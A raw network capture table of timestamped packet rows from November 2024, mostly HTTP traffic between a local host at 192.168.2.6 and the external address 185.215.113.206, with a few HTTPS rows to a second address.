Nov 28, 2024 17:24:18.986937046 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.986963034 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.987004995 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.987695932 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.987740993 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.028884888 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:19.029432058 CET	49724	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:19.029449940 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:19.029931068 CET	49724	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:19.029937983 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:19.048744917 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.048810005 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.048820972 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.049011946 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.049118996 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.049182892 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.049220085 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.049257994 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.049976110 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.050024986 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.050163984 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.050278902 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.050955057 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.051018953 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.051023960 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.051140070 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.051661015 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.051707029 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.051784039 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.051855087 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.052522898 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.052572012 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.052592993 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.052642107 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.053344011 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.053392887 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.053409100 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.053472042 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.060555935 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.060585022 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.060633898 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.060658932 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.060900927 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.061000109 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.061186075 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.061249971 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.061745882 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.061799049 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.061943054 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.061985970 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.062633038 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.062709093 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.062786102 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.062824965 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.063462019 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.063503981 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.063560009 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.063608885 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.064337969 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.064399004 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.064481020 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.064554930 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.065355062 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.065447092 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.065464020 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.065512896 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.066066027 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.066273928 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.066344976 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.066956043 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.067020893 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.067030907 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.067229033 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.067929029 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.067965031 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.068025112 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.068732977 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.068794012 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.068811893 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.068969011 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.069519043 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.069575071 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.069753885 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.069803953 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.070429087 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.070507050 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.070532084 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.070615053 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.071208000 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.071294069 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.071306944 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.071425915 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.071852922 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.071917057 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.071939945 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.071990967 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.072750092 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.072794914 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.072892904 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.073194981 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.073561907 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.073609114 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.073611021 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.073654890 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.083350897 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.083451986 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.083472013 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.083664894 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.083760977 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.083833933 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.083862066 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.083901882 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.084616899 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.084662914 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.084675074 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.084912062 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.085448980 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.085498095 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.167069912 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.167152882 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.167154074 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.167195082 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.167402983 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.167464972 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.167496920 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.167959929 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.168241978 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.168294907 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.168375969 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.168452978 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.169092894 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.169138908 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.169362068 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.169413090 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.169450045 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.169915915 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.170214891 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.170233965 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.170268059 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.170280933 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.171053886 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.171099901 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.171161890 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.171219110 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.172028065 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.172072887 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.172089100 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.172106028 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.172732115 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.172813892 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.172818899 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.172977924 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.173758984 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.173930883 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.173985004 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.175267935 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.175349951 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.175355911 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.175553083 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.176201105 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.176265001 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.176395893 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.176803112 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.176975965 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.177031994 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.177618980 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.177679062 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.177751064 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.177804947 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.178499937 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.178555012 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.178641081 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.178705931 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.179378986 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.179430962 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.179466009 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.179508924 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.180107117 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.180164099 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.180238962 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.180315018 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.180910110 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.181020975 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.181030989 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.181062937 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.181864023 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.181881905 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.181927919 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.182522058 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.182535887 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.182574987 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.183284044 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.183444977 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.183506966 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.184145927 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.184201002 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.184391022 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.184578896 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.185107946 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.185180902 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.185218096 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.185367107 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.185972929 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.186028004 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.186120033 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.186167002 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.186672926 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.186721087 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.186784029 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.186927080 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.187681913 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.187823057 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.187874079 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.188519001 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.188574076 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.188611031 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.188756943 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.189493895 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.189544916 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.262662888 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.262721062 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.262731075 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.262979031 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.263166904 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.263288021 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.263350010 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.263951063 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.263992071 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.264060020 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.264110088 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.264811993 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.264862061 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.264898062 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.265060902 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.265692949 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.265746117 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.265820026 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.265888929 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.266489983 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.266540051 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.266544104 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.266702890 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.267328978 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.267340899 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.267379999 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.267725945 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.267776966 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.267875910 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.267944098 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.268486023 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.268609047 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.268632889 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.268665075 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.269248962 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.269299030 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.269362926 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.269408941 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.270032883 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.270085096 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.270160913 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.270593882 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.270885944 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.270942926 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.271109104 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.271205902 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.271744013 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.271878004 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.271893024 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.271919966 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.272553921 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.272607088 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.272730112 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.272871971 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.273484945 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.273535013 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.273561954 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.273727894 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.274383068 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.274434090 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.274493933 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.274544954 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.275161028 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.275283098 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.275336981 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.275934935 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.275996923 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.276045084 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.276196957 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.276797056 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.276849031 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.276920080 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.276968956 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.277653933 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.277707100 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.277787924 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.277923107 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.278492928 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.278538942 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.278544903 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.278718948 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.279288054 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.279423952 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.279484987 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.280117035 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.280167103 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.280273914 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.280317068 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.281049967 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.281060934 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.281106949 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.297784090 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.297846079 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.297882080 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.298074961 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.298228025 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.298279047 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.298396111 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.298520088 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.298568010 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.299242020 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.299294949 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.299473047 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.299526930 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.300052881 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.300100088 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.385061026 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.385128975 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.385150909 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.385281086 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.385585070 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.385639906 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.385718107 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.385763884 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.386606932 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.386653900 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.386662006 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.386704922 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.387409925 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.387461901 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.387670040 CET	80	49716	185.215.113.206	192.168.2.6
